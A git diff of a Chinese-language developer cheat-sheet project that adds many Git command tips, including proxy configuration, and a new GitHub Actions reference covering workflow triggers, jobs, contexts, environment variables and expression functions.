$ git branch -m <old> <new> #重命名分支
|
||||
```
|
||||
|
||||
- **推送**并重置
|
||||
|
||||
```shell
|
||||
$ git push origin -u <new>
|
||||
```
|
||||
|
||||
- **删除**远程分支
|
||||
|
||||
```shell
|
||||
$ git push origin --delete <old> #方法1
|
||||
$ git push origin :oldBranchName #方法2
|
||||
@ -380,7 +465,7 @@ $ git branch -vv
|
||||
$ git checkout -
|
||||
```
|
||||
|
||||
只获取远程分支
|
||||
只获取所有远程分支
|
||||
|
||||
```shell
|
||||
$ git branch -r
|
||||
@ -423,7 +508,7 @@ $ git config --global alias.ci commit
|
||||
$ git config --global alias.st status
|
||||
```
|
||||
|
||||
也可以看看:[More Aliases](https://gist.github.com/johnpolacek/69604a1f6861129ef088)
|
||||
也可以看看:[更多别名](https://gist.github.com/johnpolacek/69604a1f6861129ef088)
|
||||
|
||||
### 设置大小写敏感
|
||||
|
||||
@ -515,12 +600,6 @@ $ git branch --merged master | grep -v '^\*\| master' | xargs -n 1 git branch -
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 中文乱码的解决方案
|
||||
|
||||
```shell
|
||||
$ git config --global core.quotepath false
|
||||
```
|
||||
|
||||
### 把 A 分支的某一个 commit,放到 B 分支上
|
||||
|
||||
```shell
|
||||
@ -528,4 +607,328 @@ $ git config --global core.quotepath false
|
||||
$ git checkout <B>
|
||||
# 将 A 分支 <hash-id> 的内容 pick 到 B 分支
|
||||
$ git cherry-pick <hash-id>
|
||||
```
|
||||
```
|
||||
|
||||
### 回到远程仓库的状态
|
||||
|
||||
```bash
|
||||
$ git fetch --all && git reset --hard origin/master
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
抛弃本地所有的修改,回到远程仓库的状态
|
||||
|
||||
### 重设第一个 commit
|
||||
|
||||
```bash
|
||||
$ git update-ref -d HEAD
|
||||
```
|
||||
|
||||
把所有的改动都重新放回工作区,并**清空所有的 commit**,这样就可以重新提交第一个 `commit` 了
|
||||
|
||||
### 查看冲突文件列表
|
||||
|
||||
```bash
|
||||
$ git diff --name-only --diff-filter=U
|
||||
```
|
||||
|
||||
### 展示工作区的冲突文件列表
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
输出工作区和暂存区的 different (不同)。
|
||||
|
||||
```bash
|
||||
$ git diff
|
||||
```
|
||||
|
||||
还可以展示本地仓库中任意两个 commit 之间的文件变动:
|
||||
|
||||
```bash
|
||||
$ git diff <commit-id> <commit-id>
|
||||
```
|
||||
|
||||
### 展示暂存区和最近版本的不同
|
||||
|
||||
```bash
|
||||
git diff --cached
|
||||
```
|
||||
|
||||
### 中文乱码的解决方案
|
||||
|
||||
```shell
|
||||
$ git config --global core.quotepath false
|
||||
```
|
||||
|
||||
### 展示暂存区、工作区和最近版本的不同
|
||||
|
||||
```bash
|
||||
$ git diff HEAD
|
||||
```
|
||||
|
||||
输出工作区、暂存区 和本地最近的版本(commit)的different(不同)。
|
||||
|
||||
### 删除已经合并到 master 的分支
|
||||
|
||||
```bash
|
||||
$ git branch --merged master | grep -v '^\*\| master' | xargs -n 1 git branch -d
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 关联远程分支
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ git branch -u origin/mybranch
|
||||
```
|
||||
|
||||
或者在 `push` 时加上 `-u` 参数
|
||||
|
||||
```bash
|
||||
git push origin/mybranch -u
|
||||
```
|
||||
|
||||
关联之后,`git branch -vv` 就可以展示关联的远程分支名了, 同时推送到远程仓库直接:`git push`,不需要指定远程仓库
|
||||
|
||||
### 查看远程分支和本地分支的对应关系
|
||||
|
||||
```bash
|
||||
$ git remote show origin
|
||||
```
|
||||
|
||||
### 展示当前分支的最近的 tag
|
||||
|
||||
```bash
|
||||
$ git describe --tags --abbrev=0
|
||||
```
|
||||
|
||||
### 查看某段代码是谁写的
|
||||
|
||||
```bash
|
||||
$ git blame <file-name>
|
||||
```
|
||||
|
||||
`blame` 的意思为`责怪`,你懂的。
|
||||
|
||||
### 修改作者名
|
||||
|
||||
```bash
|
||||
$ git commit --amend --author='Author Name <email@address.com>'
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 修改远程仓库的 url
|
||||
|
||||
```bash
|
||||
$ git remote set-url origin <URL>
|
||||
```
|
||||
|
||||
### 增加远程仓库
|
||||
|
||||
```bash
|
||||
$ git remote add origin <remote-url>
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 列出所有远程仓库
|
||||
|
||||
```bash
|
||||
$ git remote -v
|
||||
```
|
||||
|
||||
### 查看两个星期内的改动
|
||||
|
||||
```bash
|
||||
$ git whatchanged --since='2 weeks ago'
|
||||
```
|
||||
|
||||
### 从 stash 中拿出某个文件的修改
|
||||
|
||||
```bash
|
||||
$ git checkout <stash@{n}> -- <file-path>
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 展示所有 tracked 的文件
|
||||
|
||||
```bash
|
||||
$ git ls-files -t
|
||||
```
|
||||
|
||||
### 展示所有 untracked 的文件
|
||||
|
||||
```bash
|
||||
$ git ls-files --others
|
||||
```
|
||||
|
||||
### 展示所有忽略的文件
|
||||
|
||||
```bash
|
||||
$ git ls-files --others -i --exclude-standard
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 把某一个分支导出成一个文件
|
||||
|
||||
```bash
|
||||
$ git bundle create <file> <branch-name>
|
||||
```
|
||||
|
||||
### 从包中导入分支
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
$ git clone repo.bundle <repo-dir> -b <branch-name>
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
新建一个分支,分支内容就是上面 `git bundle create` 命令导出的内容
|
||||
|
||||
### 执行 rebase 之前自动 stash
|
||||
|
||||
```bash
|
||||
$ git rebase --autostash
|
||||
```
|
||||
|
||||
### 从远程仓库根据 ID,拉下某一状态,到本地分支
|
||||
|
||||
```bash
|
||||
$ git fetch origin pull/<id>/head:<branch-name>
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 详细展示一行中的修改
|
||||
|
||||
```bash
|
||||
$ git diff --word-diff
|
||||
```
|
||||
|
||||
### 清除 gitignore 文件中记录的文件
|
||||
|
||||
```bash
|
||||
$ git clean -X -f
|
||||
```
|
||||
|
||||
### 展示忽略的文件
|
||||
|
||||
```bash
|
||||
$ git status --ignored
|
||||
```
|
||||
|
||||
### commit 历史中显示 Branch1 有的但是 Branch2 没有 commit
|
||||
|
||||
```bash
|
||||
$ git log Branch1 ^Branch2
|
||||
```
|
||||
|
||||
### 在 commit log 中显示 GPG 签名
|
||||
|
||||
```bash
|
||||
$ git log --show-signature
|
||||
```
|
||||
|
||||
### 新建并切换到新分支上,同时这个分支没有任何 commit
|
||||
|
||||
```bash
|
||||
$ git checkout --orphan <branch-name>
|
||||
```
|
||||
|
||||
相当于保存修改,但是重写 commit 历史
|
||||
|
||||
### 展示任意分支某一文件的内容
|
||||
|
||||
```bash
|
||||
$ git show <branch-name>:<file-name>
|
||||
```
|
||||
|
||||
### 配置 http 和 socks 代理
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```bash
|
||||
# 查看代理
|
||||
$ git config --global http.proxy
|
||||
$ git config --global https.proxy
|
||||
$ git config --global socks.proxy
|
||||
|
||||
# 设置代理
|
||||
# 适用于 privoxy 将 socks 协议转为 http 协议的 http 端口
|
||||
$ git config --global http.proxy http://127.0.0.1:1080
|
||||
$ git config --global https.proxy http://127.0.0.1:1080
|
||||
$ git config --global socks.proxy 127.0.0.1:1080
|
||||
|
||||
# 取消代理
|
||||
$ git config --global --unset http.proxy
|
||||
$ git config --global --unset https.proxy
|
||||
$ git config --global --unset socks.proxy
|
||||
|
||||
# 只对 github.com 设置代理
|
||||
$ git config --global http.https://github.com.proxy socks5://127.0.0.1:1080
|
||||
$ git config --global https.https://github.com.proxy socks5://127.0.0.1:1080
|
||||
|
||||
# 取消 github.com 代理
|
||||
$ git config --global --unset http.https://github.com.proxy
|
||||
$ git config --global --unset https.https://github.com.proxy
|
||||
```
|
||||
|
||||
### clone 最新一次提交
|
||||
|
||||
```bash
|
||||
$ git clone --depth=1 https://github.com/user/repo.git
|
||||
```
|
||||
|
||||
只会 `clone` 最近一次提交,将减少 `clone` 时间
|
||||
|
||||
### 忽略某个文件的改动
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
关闭 track 指定文件的改动,也就是 Git 将不会在记录这个文件的改动
|
||||
|
||||
```bash
|
||||
git update-index --assume-unchanged path/to/file
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
恢复 track 指定文件的改动
|
||||
|
||||
```bash
|
||||
git update-index --no-assume-unchanged path/to/file
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 以最后提交的顺序列出所有 Git 分支
|
||||
|
||||
```bash
|
||||
git for-each-ref --sort=-committerdate --format='%(refname:short)' refs/heads
|
||||
```
|
||||
|
||||
最新的放在最上面
|
||||
|
||||
### 在 commit log 中查找相关内容
|
||||
|
||||
```bash
|
||||
git log --all --grep='<given-text>'
|
||||
```
|
||||
|
||||
通过 grep 查找,given-text: 所需要查找的字段
|
||||
|
||||
### 把暂存区的指定 file 放到工作区中
|
||||
|
||||
```bash
|
||||
git reset <file-name>
|
||||
```
|
||||
|
||||
不添加参数,默认是 `-mixed`
|
||||
|
||||
### 配置 SSH 协议代理
|
||||
|
||||
```shell
|
||||
# 对于使用 git@ 协议的,可以配置 socks5 代理
|
||||
# macOS 系统编辑 ~/.ssh/config 文件,添加这几行,设置 github 代理
|
||||
Host github.com
|
||||
ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [最常用的 git 提示和技巧](https://github.com/git-tips/tips)
|
||||
|
841
docs/github-actions.md
Normal file
841
docs/github-actions.md
Normal file
@ -0,0 +1,841 @@
|
||||
Github Actions 备忘清单
|
||||
====
|
||||
|
||||
本备忘单总结了 [Github Actions](https://github.com/actions) 常用的配置说明,以供快速参考。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
GitHub [Actions](https://github.com/actions) 的仓库中自动化、自定义和执行软件开发工作流程,有四个基本的概念,如下:
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`workflow` _(工作流程)_ | 持续集成一次运行的过程,就是一个 `workflow`
|
||||
`job` _(任务)_ | 一个 `workflow` 由一个或多个 `jobs` 构成,含义是一次持续集成的运行,可以完成多个任务
|
||||
`step` _(步骤)_ | 每个 `job` 由多个 `step` 构成,一步步完成
|
||||
`action` _(动作)_ | 每个 `step` 可以依次执行一个或多个命令(`action`)
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
---
|
||||
|
||||
- 采用 [YAML](./yaml.md) 格式定义配置文件
|
||||
- 存放在代码仓库的 `.github/workflows` 目录中
|
||||
- 后缀名统一为 `.yml`,比如 `ci.yml`
|
||||
- 一个库可以有多个 `workflow` 文件
|
||||
- 根据配置事件自动运行配置文件
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
### 配置文件
|
||||
|
||||
```yaml {3,5,10}
|
||||
name: GitHub Actions Demo
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# 任务
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
# 步骤 根据步骤执行任务
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/setup-node@v3
|
||||
with:
|
||||
node-version: 16
|
||||
|
||||
- run: npm install
|
||||
- run: npm run build
|
||||
```
|
||||
|
||||
存放到 `.github/workflows` 目录中,命名为 `ci.yml`,当 `push` 代码到仓库 `main` 分支中,该配置自动运行配置。
|
||||
|
||||
### 指定触发
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
`push` 事件触发 `workflow`
|
||||
|
||||
```yaml
|
||||
on: push
|
||||
```
|
||||
|
||||
`push` 事件或 `pull_request` 事件都可以触发 `workflow`
|
||||
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
```
|
||||
|
||||
只有在 `main` 分支 `push` 事件触发 `workflow`
|
||||
|
||||
```yaml {2}
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
```
|
||||
|
||||
`push` 事件触发 `workflow`,`docs` 目录下的更改 `push` 事件不触发 `workflow`
|
||||
|
||||
```yaml {2,4}
|
||||
on:
|
||||
push:
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
```
|
||||
|
||||
push 事件触发 workflow,包括 sub-project 目录或其子目录中的文件触发 workflow,除非该文件在 sub-project/docs 目录中,不触发 workflow
|
||||
|
||||
```yaml
|
||||
on:
|
||||
push:
|
||||
paths:
|
||||
- 'sub-project/**'
|
||||
- '!sub-project/docs/**'
|
||||
```
|
||||
|
||||
版本发布为 `published` 时运行工作流程。
|
||||
|
||||
```yml
|
||||
on:
|
||||
release:
|
||||
types: [published]
|
||||
```
|
||||
|
||||
### 多项任务
|
||||
|
||||
```yml
|
||||
jobs:
|
||||
my_first_job: # 第一个任务
|
||||
name: My first job
|
||||
|
||||
my_second_job: # 第二个任务
|
||||
name: My second job
|
||||
```
|
||||
|
||||
通过 jobs `(jobs.<job_id>.name)`字段,配置一项或多项需要执行的任务
|
||||
|
||||
### 多项任务依赖关系
|
||||
|
||||
通过 needs `(jobs.<job_id>.needs)`字段,指定当前任务的依赖关系
|
||||
|
||||
```yml
|
||||
jobs:
|
||||
job1:
|
||||
job2:
|
||||
needs: job1
|
||||
job3:
|
||||
needs: [job1, job2]
|
||||
```
|
||||
|
||||
上面配置中,`job1` 必须先于 `job2` 完成,而 `job3` 等待 `job1` 和 `job2` 的完成才能运行。因此,这个 `workflow` 的运行顺序依次为:`job1`、`job2`、`job3`
|
||||
|
||||
### 多项任务传递参数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```yml {2,5,9,11,15}
|
||||
jobs:
|
||||
job1:
|
||||
runs-on: ubuntu-latest
|
||||
# 将步骤输出映射到作业输出
|
||||
outputs:
|
||||
output1: ${{ steps.step1.outputs.test }}
|
||||
output2: ${{ steps.step2.outputs.test }}
|
||||
steps:
|
||||
- id: step1
|
||||
run: echo "::set-output name=test::hello"
|
||||
- id: step2
|
||||
run: echo "::set-output name=test::world"
|
||||
job2:
|
||||
runs-on: ubuntu-latest
|
||||
needs: job1
|
||||
steps:
|
||||
- run: echo ${{needs.job1.outputs.output1}} ${{needs.job1.outputs.output2}}
|
||||
```
|
||||
|
||||
### 指定每项任务的虚拟机环境
|
||||
|
||||
```yml
|
||||
runs-on: ubuntu-latest
|
||||
```
|
||||
|
||||
指定运行所需要的虚拟机环境,⚠️ 它是必填字段
|
||||
|
||||
```yml {3}
|
||||
jobs:
|
||||
build: # 任务名称
|
||||
runs-on: ubuntu-latest # 虚拟机环境配置
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
- `Windows Server 2022` _(windows-latest)_ 或 _(windows-2022)_
|
||||
- `Ubuntu 20.04` _(ubuntu-latest)_ 或 _(ubuntu-20.04)_
|
||||
- `macOS Monterey 12` _(macos-12)_
|
||||
- `macOS Big Sur 11` _(macos-latest)_,_(macos-11)_
|
||||
<!--rehype:className=style-arrow-->
|
||||
|
||||
另见: [选择 GitHub 托管的运行器](https://docs.github.com/cn/actions/using-workflows/workflow-syntax-for-github-actions#选择-github-托管的运行器)
|
||||
|
||||
### 指定每项任务的步骤
|
||||
|
||||
每个步骤都可以指定以下三个字段
|
||||
|
||||
```shell
|
||||
jobs.<job_id>.steps.name # 步骤名称
|
||||
# 该步骤运行的命令或者 action
|
||||
jobs.<job_id>.steps.run
|
||||
# 该步骤所需的环境变量
|
||||
jobs.<job_id>.steps.env
|
||||
```
|
||||
|
||||
`steps` 字段指定每个 `Job` 的运行步骤,可以包含一个或多个步骤(`steps`)
|
||||
|
||||
```yml {4}
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/setup-node@v3
|
||||
with:
|
||||
node-version: 16
|
||||
|
||||
- run: npm install
|
||||
- run: npm run build
|
||||
```
|
||||
|
||||
### 环境变量
|
||||
|
||||
```shell
|
||||
jobs.<job_id>.environment
|
||||
```
|
||||
|
||||
使用单一环境名称的示例
|
||||
|
||||
```yml
|
||||
environment: staging_environment
|
||||
```
|
||||
|
||||
使用环境名称和 URL 的示例
|
||||
|
||||
```yml
|
||||
environment:
|
||||
name: production_environment
|
||||
url: https://github.com
|
||||
```
|
||||
|
||||
#### 自定义环境变量
|
||||
|
||||
`GitHub` 会保留 `GITHUB_` 环境变量前缀供 `GitHub` 内部使用。设置有 `GITHUB_` 前缀的环境变量或密码将导致错误。
|
||||
|
||||
```yml
|
||||
- name: 测试 nodejs 获取环境变量
|
||||
env:
|
||||
API_TOKEN: ${{ secrets.API_TOKEN }}
|
||||
```
|
||||
|
||||
在 `https://github.com/<用户名>/<项目名称>/settings/secrets` 中添加 `secrets` `API_TOKEN`,在工作流中设置环境变量 [`API_TOKEN`](https://github.com/jaywcjlove/github-actions/blob/799b232fca3d9df0272eaa12610f9ebfca51b288/.github/workflows/ci.yml#L46)
|
||||
|
||||
### 表达式
|
||||
|
||||
在 `if` 条件下使用表达式时,可以省略表达式语法 (`${{ }}`),因为 GitHub 会自动将 `if` 条件作为表达式求值
|
||||
|
||||
```yml {3}
|
||||
steps:
|
||||
- uses: actions/hello-world-action@v1.1
|
||||
if: github.repository == 'uiw/uiw-repo'
|
||||
# if: ${{ <expression> }}
|
||||
```
|
||||
|
||||
设置环境变量的示例
|
||||
|
||||
```yml
|
||||
env:
|
||||
MY_ENV_VAR: ${{ <expression> }}
|
||||
```
|
||||
|
||||
#### 操作符
|
||||
|
||||
- `( )` _(逻辑分组)_
|
||||
- `[ ]` _(指数)_
|
||||
- `.` _(属性取消引用)_
|
||||
- `!` _(不是)_
|
||||
- `<` _(少于)_
|
||||
- `<=` _(小于或等于)_
|
||||
- `>` _(比...更棒)_
|
||||
- `>=` _(大于或等于)_
|
||||
- `==` _(平等的)_
|
||||
- `!=` _(不相等)_
|
||||
- `&&` _(和)_
|
||||
- `||` _(或者)_
|
||||
<!--rehype:className=cols-2 style-none-->
|
||||
|
||||
### Github 上下文
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
属性名称 | 类型 | 描述
|
||||
---- | ---- | ----
|
||||
`github` _(object)_ | 工作流程中任何作业或步骤期间可用的顶层上下文。
|
||||
`github.event` _(object)_ | 完整事件 web 挂钩有效负载。 更多信息请参阅“触发工作流程的事件”。
|
||||
`github.event_path` _(string)_ | 运行器上完整事件 web 挂钩有效负载的路径。
|
||||
`github.workflow` _(string)_ | 工作流程的名称。 如果工作流程文件未指定 name,此属性的值将是仓库中工作流程文件的完整路径。
|
||||
`github.job` _(string)_ | 当前作业的 job_id。
|
||||
`github.run_id` _(string)_ | 仓库中每个运行的唯一编号。 如果您重新执行工作流程运行,此编号不变。
|
||||
`github.run_number` _(string)_ | 仓库中特定工作流程每个运行的唯一编号。 此编号从 1(对应于工作流程的第一个运行)开始,然后随着每个新的运行而递增。 如果您重新执行工作流程运行,此编号不变。
|
||||
`github.actor` _(string)_ | 发起工作流程运行的用户的登录名。
|
||||
`github.repository` _(string)_ | 所有者和仓库名称。 例如 Codertocat/Hello-World。
|
||||
`github.repository_owner` _(string)_ | 仓库所有者的名称。 例如 Codertocat。
|
||||
`github.event_name` _(string)_ | 触发工作流程运行的事件的名称。
|
||||
`github.sha` _(string)_ | 触发工作流程的提交 SHA。
|
||||
`github.ref` _(string)_ | 触发工作流程的分支或标记参考。
|
||||
`github.head_ref` _(string)_ | 工作流程运行中拉取请求的 head_ref 或来源分支。 此属性仅在触发工作流程运行的事件为 pull_request 时才可用。
|
||||
`github.base_ref` _(string)_ | 工作流程运行中拉取请求的 base_ref 或目标分支。 此属性仅在触发工作流程运行的事件为 pull_request 时才可用。
|
||||
`github.token` _(string)_ | 代表仓库上安装的 GitHub 应用程序进行身份验证的令牌。 这在功能上等同于 GITHUB_TOKEN 密码。 更多信息请参阅“使用 GITHUB_TOKEN 验证身份”。
|
||||
`github.workspace` _(string)_ | 使用 checkout 操作时步骤的默认工作目录和仓库的默认位置。
|
||||
`github.action` _(string)_ | 正在运行的操作的名称。 在当前步骤运行脚本时,GitHub 删除特殊字符或使用名称 run。 如果在同一作业中多次使用相同的操作,则名称将包括带有序列号的后缀。 例如,运行的第一个脚本名称为 run1,则第二个脚本将命名为 run2。 同样,actions/checkout 第二次调用时将变成 actionscheckout2。
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
[Github 上下文](https://help.github.com/cn/actions/reference/context-and-expression-syntax-for-github-actions)是访问有关工作流运行、运行器环境、作业和步骤的信息的一种方式
|
||||
|
||||
### 默认环境变量
|
||||
|
||||
环境变量 | 描述
|
||||
---- | ----
|
||||
`CI` | 始终设置为 `true`
|
||||
`HOME` | 用于存储用户数据的 GitHub 主目录路径。 例如 `/github/home`
|
||||
`GITHUB_WORKFLOW` | 工作流程的名称。
|
||||
`GITHUB_RUN_ID` | 仓库中每个运行的唯一编号。 如果您重新执行工作流程运行,此编号不变。
|
||||
`GITHUB_RUN_NUMBER` | 仓库中特定工作流程每个运行的唯一编号。 此编号从 1(对应于工作流程的第一个运行)开始,然后随着每个新的运行而递增。 如果您重新执行工作流程运行,此编号不变。
|
||||
`GITHUB_ACTION` | 操作唯一的标识符 (id)。
|
||||
`GITHUB_ACTIONS` | 当 GitHub 操作 运行工作流程时,始终设置为 true。 您可以使用此变量来区分测试是在本地运行还是通过 GitHub 操作 运行。
|
||||
`GITHUB_ACTION_PATH` | GitHub 操作所在的路径
|
||||
`GITHUB_ACTOR` | 发起工作流程的个人或应用程序的名称。 例如 octocat
|
||||
`GITHUB_API_URL` | 返回 `API URL`。例如:`https://api.github.com`
|
||||
`GITHUB_REPOSITORY` | 所有者和仓库名称。 例如 octocat/Hello-World
|
||||
`GITHUB_EVENT_NAME` | 触发工作流程的 web 挂钩事件的名称
|
||||
`GITHUB_EVENT_PATH` | 具有完整 web 挂钩事件有效负载的文件路径。 例如 /github/workflow/event.json
|
||||
`GITHUB_WORKSPACE` | GitHub 工作空间目录路径。 如果您的工作流程使用 [actions/checkout](https://github.com/actions/checkout) 操作,工作空间目录将包含存储仓库副本的子目录。 如果不使用 [actions/checkout](https://github.com/actions/checkout) 操作,该目录将为空。 例如 /home |/runner/work/my-repo-name/my-repo-name
|
||||
`GITHUB_SHA` | 触发工作流程的提交 SHA。 例如 ffac537e6cbbf9
|
||||
`GITHUB_REF` | 触发工作流程的分支或标记参考。 例如 refs/heads/feature-branch-1。 如果分支或标记都不适用于事件类型,则变量不会存在
|
||||
`GITHUB_HEAD_REF` | 仅为复刻的仓库设置。头部仓库的分支
|
||||
`GITHUB_BASE_REF` | 仅为复刻的仓库设置。基础仓库的分支
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
另见: [默认环境变量](https://docs.github.com/cn/actions/learn-github-actions/environment-variables#default-environment-variables)
|
||||
|
||||
### 直接常量
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
作为表达式的一部分,可以使用 `boolean`, `null`, `number` 或 `string`数据类型
|
||||
|
||||
```yml
|
||||
env:
|
||||
myNull: ${{ null }}
|
||||
myBoolean: ${{ false }}
|
||||
myIntegerNumber: ${{ 711 }}
|
||||
myFloatNumber: ${{ -9.2 }}
|
||||
myHexNumber: ${{ 0xff }}
|
||||
myExponentialNumber: ${{ -2.99e-2 }}
|
||||
myString: Mona the Octocat
|
||||
myStringInBraces: ${{ 'It''s source!' }}
|
||||
```
|
||||
|
||||
### 函数 contains
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
使用字符串的示例
|
||||
|
||||
```js
|
||||
contains('Hello world', 'llo') // 返回 true
|
||||
```
|
||||
|
||||
使用对象过滤器的示例返回 true
|
||||
|
||||
```js
|
||||
contains(github.event.issue.labels.*.name, 'bug')
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见: [函数 contains](https://docs.github.com/cn/actions/learn-github-actions/expressions#contains)
|
||||
|
||||
### 函数 startsWith
|
||||
|
||||
```js
|
||||
startsWith('Hello world', 'He') // 返回 true
|
||||
```
|
||||
|
||||
另见: [函数 startsWith](https://docs.github.com/cn/actions/learn-github-actions/expressions#startswith),此函数不区分大小写
|
||||
|
||||
### 函数 format
|
||||
|
||||
```js
|
||||
format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
|
||||
// 返回 '{Hello Mona the Octocat!}'.
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见: [函数 format](https://docs.github.com/cn/actions/learn-github-actions/expressions#format)
|
||||
|
||||
### 函数 join
|
||||
|
||||
```js
|
||||
join(github.event.issue.labels.*.name, ', ')
|
||||
// 也许返回 'bug, help wanted'.
|
||||
```
|
||||
|
||||
另见: [函数 join](https://docs.github.com/cn/actions/learn-github-actions/expressions#join)
|
||||
|
||||
### 函数 toJSON
|
||||
|
||||
```js
|
||||
toJSON(job)
|
||||
// 也许返回 { "status": "Success" }.
|
||||
```
|
||||
|
||||
另见: [函数 toJSON](https://docs.github.com/cn/actions/learn-github-actions/expressions#tojson)
|
||||
|
||||
### 函数
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`fromJSON` | 返回 JSON 对象或 JSON 数据类型的值 [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#fromjson)
|
||||
`hashFiles` | 返回与路径模式匹配的文件集的单个哈希 [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#hashfiles)
|
||||
`success` | 当前面的步骤都没失败或被取消时返回 true [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#success)
|
||||
`always` | 使步骤始终执行,返回 `true` 即使取消也是如此 [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#always)
|
||||
`cancelled` | 如果工作流被取消,则返回 true [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#cancelled)
|
||||
`failure` | 当作业的任何先前步骤失败时返回 true [#](https://docs.github.com/cn/actions/learn-github-actions/expressions#failure)
|
||||
|
||||
### 函数 success()
|
||||
|
||||
```yml
|
||||
steps:
|
||||
...
|
||||
- name: The job has succeeded
|
||||
if: ${{ success() }}
|
||||
```
|
||||
|
||||
### 函数 failure()
|
||||
|
||||
```yml
|
||||
steps:
|
||||
...
|
||||
- name: The job has failed
|
||||
if: ${{ failure() }}
|
||||
```
|
||||
|
||||
常用实例
|
||||
----
|
||||
|
||||
### 获取版本信息
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```yml
|
||||
- name: Test
|
||||
run: |
|
||||
# Strip git ref prefix from version
|
||||
echo "${{ github.ref }}"
|
||||
# VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,')
|
||||
|
||||
# # Strip "v" prefix from tag name
|
||||
# [[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//')
|
||||
echo "$VERSION"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 提交到 gh-pages 分支
|
||||
|
||||
```yml
|
||||
- name: Deploy
|
||||
uses: peaceiris/actions-gh-pages@v3
|
||||
with:
|
||||
github_token: ${{secrets.GITHUB_TOKEN}}
|
||||
publish_dir: ./build
|
||||
```
|
||||
|
||||
### 修改 package.json
|
||||
|
||||
```yml
|
||||
- name: Modify Version
|
||||
shell: bash
|
||||
run: |
|
||||
node -e 'var pkg = require("./package.json"); pkg.version= (new Date().getFullYear().toString().substr(2)) + "." + (new Date().getMonth() + 1) + "." + (new Date().getDate()); require("fs").writeFileSync("./package.json", JSON.stringify(pkg, null, 2))'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
使用 [github-action-package](https://github.com/jaywcjlove/github-action-package) 修改 `name` 字段
|
||||
|
||||
```yml
|
||||
- name: package.json info
|
||||
uses: jaywcjlove/github-action-package@main
|
||||
with:
|
||||
rename: '@wcj/github-package-test'
|
||||
```
|
||||
|
||||
### 克隆带有 Submodule 的仓库
|
||||
|
||||
```yml
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
path: main
|
||||
submodules: true
|
||||
```
|
||||
|
||||
`submodules`:`true` 检出子模块或 `recursive` 递归检出子模块
|
||||
|
||||
```yml
|
||||
- name: Clone sub repository
|
||||
shell: bash
|
||||
run: |
|
||||
auth_header="$(git config --local --get http.https://github.com/.extraheader)"
|
||||
# git submodule sync --recursive
|
||||
# git -c "http.extraheader=$auth_header" -c protocol.version=2 submodule update --init --remote --force --recursive --checkout ant.design
|
||||
```
|
||||
|
||||
### 步骤依赖作业
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
使用 `jobs.<job_id>.needs` 识别在此作业运行之前必须成功完成的任何作业。它可以是一个字符串,也可以是字符串数组。 如果某个作业失败,则所有需要它的作业都会被跳过,除非这些作业使用让该作业继续的条件表达式。
|
||||
|
||||
```yml
|
||||
jobs:
|
||||
job1:
|
||||
job2:
|
||||
needs: job1
|
||||
job3:
|
||||
needs: [job1, job2]
|
||||
```
|
||||
|
||||
